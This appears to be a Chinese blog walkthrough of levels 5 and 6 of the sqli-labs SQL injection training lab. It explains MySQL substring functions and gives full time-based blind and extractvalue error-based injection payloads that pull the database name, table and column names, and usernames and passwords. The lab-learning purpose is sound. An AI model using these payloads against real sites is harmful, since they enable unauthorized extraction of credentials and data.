進入第五關之后稀里糊塗隨便注了一通發現沒有籃子用。可能是:布爾型盲注、報錯型注入、時間延遲型盲注了。
到這里時我們需要了解一些sql語句、函數。可以參考https://blog.csdn.net/qq_41420747/article/details/81773481
1、構造邏輯判斷
(1)sql注入截取字符串常用涵數
在sql注入中,往往會用到截取字符串的問題,例如不回顯的情況下進行的注入,也稱為盲注,這種情況下往往需要一個一個字符的去猜解,過程中需要用到截取字符串。本文中主要列舉三個函數和該函數注入過程中的一些用例。
函數:mid() substr() left()
mid()函數為截取字符串一部分。mid(column_name,start,length)
column_name 必需,要提取字符的字段
start 必需,規定開始位置(起始為1)
length 可選,要返回的字符數,如果省略則返回剩余文本
eg:str="123456" mid(str,2,1) 結果為2
substr()
Substr()和substring()函數實現的功能是一樣的,均為截取字符串。
string substring(string, start, length)
string substr(string, start, length)
參數描述同mid()函數,第一個參數為要處理的字符串,start為開始位置,length為截取的長度
left()函數
Left()得到字符串左部指定個數的字符
Left ( string, n ) string為要截取的字符串,n為長度。
•基於時間的 SQL 盲注--延時注入
•基於報錯的 SQL 盲注-構造 payload 讓信息通過錯誤提示回顯出來
第一種,時間延遲型注入手工注入
時間延遲型手工注入,正確會延遲,錯誤沒有延遲。可以通過瀏覽器的刷新提示觀察延遲情況,但是id正確的時候的回顯有利於觀察。
我們構造sql語句,帶上時間延遲的函數,如果有明顯的延遲說明有注入點。
?id=1’ and if(length(database())=n,sleep(5),1)--+
經過幾次嘗試,發現數據庫長度為8時有明顯延遲5秒。
?id=1' and if(length(database())=8,sleep(5),1)--+
猜庫名
數據庫第一個字符為s,加下來以此增加left(database(),字符長度)中的字符長度,等號右邊以此爆破下一個字符,正確匹配時會延遲。最終爆破得到left(database(),8)='security'
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
猜表名
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),5)--+
經過幾次嘗試找到了表名。
猜列名
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+
首先嘗試定向爆破,以提高手工注入速度,修改limit x,1 中的x查詢password是否存在表中,lucky的是limit 3,1的時候查到了password列,同樣的方法查詢username ,又一個lucky
猜值
?id=1’ and if(left((select password from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+
?id=1’ and if(left((select username from users order by id limit 0,1),4)=‘dumb’ ,sleep(5),1)–+
按照id排序,這樣便於對應。注意limit 從0開始.通過堅持不懈的嘗試終於爆破到第一個用戶的名字dumb,密碼dumb,需要注意的是,mysql對大小寫不敏感,所以你不知道是Dumb 還是dumb
到這里建議使用sqlmap https://www.cnblogs.com/tac2664/p/13772176.html 第一關的第二種方法,相同 用工具既省勁又方便
第二種,報錯注入
爆庫
?id=1' and extractvalue(1,concat(0x23,database(),0x23))--+

爆表名
?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x23))--+

爆列名
?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

爆數據
?id=1' and extractvalue(1,concat(0x23,(select password from users order by id limit 0,1),0x23))--+
?id=1' and extractvalue(1,concat(0x23,(select username from users order by id limit 2,1),0x23))--+
用limit 可以看所有的數據了。
第六關
源碼中:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
將第五關的單引號改為雙引號即可。
